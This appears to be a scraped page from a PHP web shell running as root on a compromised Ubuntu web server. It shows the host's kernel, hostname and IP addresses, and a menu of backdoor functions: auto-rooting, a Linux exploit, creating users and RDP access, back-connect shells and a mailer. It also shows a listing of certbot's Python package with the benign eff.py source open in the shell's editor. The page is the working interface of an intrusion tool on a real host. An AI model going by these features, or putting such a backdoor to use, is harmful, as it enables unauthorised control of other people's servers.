Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
certbot /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
display
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
114
B
-rw-r--r--
account.py
13.98
KB
-rw-r--r--
achallenges.py
1.59
KB
-rw-r--r--
auth_handler.py
20.92
KB
-rw-r--r--
cert_manager.py
15.1
KB
-rw-r--r--
cli.py
71.49
KB
-rw-r--r--
client.py
28.72
KB
-rw-r--r--
compat.py
6.91
KB
-rw-r--r--
configuration.py
5.66
KB
-rw-r--r--
constants.py
6.54
KB
-rw-r--r--
crypto_util.py
15.29
KB
-rw-r--r--
eff.py
3.07
KB
-rw-r--r--
error_handler.py
5.81
KB
-rw-r--r--
errors.py
2.59
KB
-rw-r--r--
hooks.py
8.44
KB
-rw-r--r--
interfaces.py
22.02
KB
-rw-r--r--
lock.py
3.56
KB
-rw-r--r--
log.py
12.39
KB
-rw-r--r--
main.py
48.47
KB
-rw-r--r--
notify.py
1.04
KB
-rw-r--r--
ocsp.py
4.1
KB
-rw-r--r--
renewal.py
20.91
KB
-rw-r--r--
reporter.py
3.46
KB
-rw-r--r--
reverter.py
23.32
KB
-rw-r--r--
ssl-dhparams.pem
424
B
-rw-r--r--
storage.py
44.91
KB
-rw-r--r--
updater.py
3.86
KB
-rw-r--r--
util.py
20.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : eff.py
"""Subscribes users to the EFF newsletter.""" import logging import requests import zope.component from certbot import constants from certbot import interfaces logger = logging.getLogger(__name__) def handle_subscription(config): """High level function to take care of EFF newsletter subscriptions. The user may be asked if they want to sign up for the newsletter if they have not already specified. :param .IConfig config: Client configuration. """ if config.email is None: if config.eff_email: _report_failure("you didn't provide an e-mail address") return if config.eff_email is None: config.eff_email = _want_subscription() if config.eff_email: subscribe(config.email) def _want_subscription(): """Does the user want to be subscribed to the EFF newsletter? :returns: True if we should subscribe the user, otherwise, False :rtype: bool """ prompt = ( 'Would you be willing to share your email address with the ' "Electronic Frontier Foundation, a founding partner of the Let's " 'Encrypt project and the non-profit organization that develops ' "Certbot? We'd like to send you email about our work encrypting " "the web, EFF news, campaigns, and ways to support digital freedom. ") display = zope.component.getUtility(interfaces.IDisplay) return display.yesno(prompt, default=False) def subscribe(email): """Subscribe the user to the EFF mailing list. :param str email: the e-mail address to subscribe """ url = constants.EFF_SUBSCRIBE_URI data = {'data_type': 'json', 'email': email, 'form_id': 'eff_supporters_library_subscribe_form'} logger.debug('Sending POST request to %s:\n%s', url, data) _check_response(requests.post(url, data=data)) def _check_response(response): """Check for errors in the server's response. If an error occurred, it will be reported to the user. :param requests.Response response: the server's response to the subscription request """ logger.debug('Received response:\n%s', response.content) try: response.raise_for_status() if response.json()['status'] == False: _report_failure('your e-mail address appears to be invalid') except requests.exceptions.HTTPError: _report_failure() except (ValueError, KeyError): _report_failure('there was a problem with the server response') def _report_failure(reason=None): """Notify the user of failing to sign them up for the newsletter. :param reason: a phrase describing what the problem was beginning with a lowercase letter and no closing punctuation :type reason: `str` or `None` """ msg = ['We were unable to subscribe you the EFF mailing list'] if reason is not None: msg.append(' because ') msg.append(reason) msg.append('. You can try again later by visiting https://act.eff.org.') reporter = zope.component.getUtility(interfaces.IReporter) reporter.add_message(''.join(msg), reporter.LOW_PRIORITY)
Close